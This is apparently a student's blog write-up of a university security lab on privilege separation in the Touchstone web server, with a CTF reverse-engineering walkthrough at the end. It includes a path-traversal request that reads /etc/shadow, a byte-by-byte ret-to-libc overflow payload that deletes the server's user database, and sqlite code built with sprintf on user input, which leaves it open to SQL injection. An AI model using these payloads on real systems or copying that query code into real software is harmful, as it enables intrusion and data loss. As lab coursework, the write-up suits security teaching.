on Security, Privilege Separation

Privilege Separation

This is a experiment of Information Security, about 7 exercises in this blog. May be a lot mistakes here, if you find it, please contact me. This lab consists of three parts:

Lab 3 : Privilege Separation

Lab Environment Setup

Brief introduction

This lab consists of three parts:

  • Part A: you will examine the architecture of the Touchstone web server. The Touchstone web server in this lab differs dramatically from those from lab 1 and 2, the current one is based on the idea of services;
  • Part B: you will explore jail, by which you can constraint the service in some fake root directory; and
  • Part C: you will privilege-separate the Touchstone web server by assigning each component appropriate privilege.

Part A: The Touchstone Web Server

Exercise 1.

In order to gain deeper understanding of the internal architecture of the Touchstone web server, let’s use gdb to debug the banksv service.First, launch the server:

$ sudo ./touchstone

now use gdb to attach to the banksv service:

Exercise 2.

Finally, you will write some code. Extend the current sqlite3 user table, to add more information. For instance, you can add time and IP address to the user table, so that when one user has logged in, the web page can display the last login time, the current login address, etc.. You may want to read some sqlite3 documentations.

In order to complete these functions, I made effort in two places. One is to pass the value of client_addr, the other is to modify the user's database.

Firstly, we pass the value of client_addr to httpd process though by executing write( disp_fds[1], inet_ntoa(client_addr), 50 ). And in httpd process, as a hub, we receive this value. Then we send this value to filesv and banksv processes respectively according to pipefd descriptor. So that, we can process this address to the browser.
Why we don't send it to filesv and banksv directly ? It is just a pity that the server has shut down these descriptors before new client coming...

Secondly, we should add additional fields for the user table. One is the ip_addr, the other is last_time(which can record the last login time).

Before modifying user table, we should drop it because some datas has existed in the user table. In order to get and update the last login time and last ip address, two functions need to be implemented. As follows :

 15 void getLastState( const char * u_name, const char * u_passwd, char * last_ip_addr, char * last_time )
 16 {
 17   if(open_db()==SUCCESS){
 19     char sql[1024];
 21     sprintf(sql, "SELECT ip_addr, time from user WHERE name = '%s' AND passwd= '%s' ", u_name, u_passwd);
 23     int row,column;
 24     char **result;
 25     char *errorMsg;
 27     if( sqlite3_get_table(db, sql, &result, &row, &column, &errorMsg) == SQLITE_OK )
 28     {
 29         strcpy( last_ip_addr, result[2] );
 30         strcpy( last_time, result[3] );
 31     }
 32     else printf("getLastState error!\n");
 34     sqlite3_close(db);
 35   }
 36   else{
 37     if(DEBUG)
 38       printf("open failed![%s]\n",sqlite3_errmsg(db));
 39   }
 41 }
 43 void updateLoginState( const char * u_name, const char * u_passwd, const char * ip_addr, const char * datetime )
 44 {
 45   if(open_db()==SUCCESS){
 47     char sql[1024];
 49     sprintf(sql, "UPDATE user SET ip_addr = '%s', time = '%s' WHERE name = '%s' AND passwd = '%s' ", ip_addr, datetime,     u_name, u_passwd );
 51     handle_db(db,sql);
 52     sqlite3_close(db);
 53   }
 54   else{
 55     if(DEBUG)
 56       printf("open failed![%s]\n",sqlite3_errmsg(db));
 57   }
 59 }

And in handle.c:Handle_post() function, after checking the login state, we should call getLastState function and send it to the browser, then call updateLoginState in the end... The final result just likes this :

Part B: Jail and Jail Breaking

Exercise 3.

Modify the code snippet in the browser.c to send a constructed HTTP request to the web server to visit /etc/passwd file. That is, you can read that file remotely.

As a test, we should check the permission of the /etc/shadow file at first, and try to access to it. As follows :

When we constructed HTTP request : "GET ../../../../../../../../../../../etc/shadow HTTP/1.1\r\n\r\n" and sent it, some funny things happened...
As we known, this file is private and important for the whole system, but we get it easily in this way...

To defeat this kind of attack, one can use the the basic idea of chroot to isolate code that has potential security vulnerabilities.

Exercise 4.

Add some code to the server.c to add chroot support. Change root directory from / to /jail . After this, you can compile and run the new web server:


Now re-do exercise 3 to visit the file /etc/passwd. If your chroot protection works, your browser will behave like this (leaking no sensitive information): As follows:

The principle of this method is to exclude some important datas, and run in a restricted environment. For example, in chroot-setup.h file, we don't copy some important files(passwd,shadow) to the /jail/etc/.

Part C: Privilege Separation

Exercise 5.

Modify your browser code to inject some shell code the server. Your shell code attack the httpd daemon and unlink the file /db/users.db. Using ret-to-libc attack can make this a little simpler.

Just likes the [Lab2], we can complete it in the same way. And then I will illustrate it detailed in a picture and attach my codes later...

 54 #if 1
 55   req[1064] = 0x80;        // system's address
 56   req[1065] = 0xfe;
 57   req[1066] = 0xe5;
 58   req[1067] = 0xf7;
 59 #endif
 60   req[1068] = 0x60;        // exit's address
 61   req[1069] = 0x3b;
 62   req[1070] = 0xe5;
 63   req[1071] = 0xf7;
 65   req[1072] = 0x88;        // arg's address
 66   req[1073] = 0xd2;
 67   req[1074] = 0xff;
 68   req[1075] = 0xff;
 86 #if 1
 87   req[1076] = 0x72;        // 'rm d'
 88   req[1077] = 0x6d;
 89   req[1078] = 0x09;
 90   req[1079] = 0x64;
 92   req[1080] = 0x62;        // 'b/us'
 93   req[1081] = 0x2f;
 94   req[1082] = 0x75;
 95   req[1083] = 0x73;
 97   req[1084] = 0x65;        // 'ers.'
 98   req[1085] = 0x72;
 99   req[1086] = 0x73;
100   req[1087] = 0x2e;
102   req[1088] = 0x64;        // 'db'
103   req[1089] = 0x62;
104   req[1090] = 0x0;
105   req[1091] = ' ';         // make the function call end ...
106 #endif

Exercise 6.

Modify the function in the file server.c , to set up the user and group IDs properly when services are launched. Think carefully about how your code can set the user and group IDs by setresuid()、setgroups()、setresgid().

Set file and directory permissions to ensure that the static service cannot read the database files from the dynamic service, and vice versa. Try to modify the to set the permission for different files.

In order to bind port 80 for the touchstone program, we have to start this server as a root. However, in the server.c file, we use fork and execve to run the filesv httpd banksv programs, as a result, these new programs will own root privilege...It is too dangerous...

To solve this program, we need separate their permissions carefully.

Firstly, when to execve these new processes, we need to use setresuid to change their permissions respectively. Just as follows:

Before executing filesv:


uid = 115 > other user named mysql and make 'filesv' to be owned other's user

Before executing banksv httpd:

setresuid(1000, 1000, 1000);

uid = 1000 > liuchang

Secondly, we modify the and change the db directory to be owned by liuchang. After that, some important files need to be reassigned permissions. I will attach my codes later.

 85 chown -R liuchang:liuchang /jail/db
 86 chmod -R 750 db
 87 chown mysql:mysql /jail/filesv
 88 chown liuchang:liuchang /jail/httpd
 89 chown liuchang:liuchang /jail/banksv

When we construct a HTTP request likes 'GET db/users.db' or 'GET /etc/shadow', "FILE not existed" and 'permissions deny' errors will be returned. Just like this :

Exercise 7.

Is it is possible to perform a buffer overflow attack as lab1? Why?

Of course, it does. The httpd filesv banksv processes will call getToken function to parse HTTP requests, however, getToken is vulnerable and can be exploited easily. Privilege separation can deny some illegal requests rather than preventing these programs from Buffer Overflow Attack. So it is possible to perform a buffer overflow attack unless we fixed up this hole...

Challenge! Capture The Flag!!!

Now we provide you a simple CTF game, download the file, and use what you can do to reverse it, finally you should find the flag.

Also, we strip the [file] as what Mr.H did in the last class. So you may need use gdb to debug it. May following three commands is useful:

(gdb)layout asm

And you should know that, who will invoke the main function. CAUTION: the flag is generated randomly, so any cheat will be found easily:

I capture the flag by using IDA Pro tool... It is a little awkward.... As we know, IDA is a professional weapon to disassember programs. We can see more details based on it. In this game, we use it to analysis this program and find something in the .data section, as a picture shown :

Then we begin to look for which function will refer this data.

The function named loc_8048500 will use this data. After that, we should follow flow of this program's execution, and try to find how can invoke this function. Fortunately, I make it. As shown in a picture, we can find it absolutely though by objdum -d reverse | grep 8048500 :
That means when $ebp-12 is not equal to $0, the function will be called. OK ! Let's try it in GDB.

Firstly, we can break point in __libc_main_start and srand( We can get that funtion more quickly. I found it for a long time...555555..). Then type 'r' and 'layout asm' to watch the assember instructions. And type 'si' to follow this program until arriving here as follows :

High tide !!! We are going to change the $ebp-12. Like this :
Finally, we can get the flag as follows :
An important note in the end:

  • We can not set the value directly ( eg. set $ebp-12 = 0x11111111 ).
  • We can type 'finish' when we want to end the funtion call quickly. It will reduce our time.


comments powered by Disqus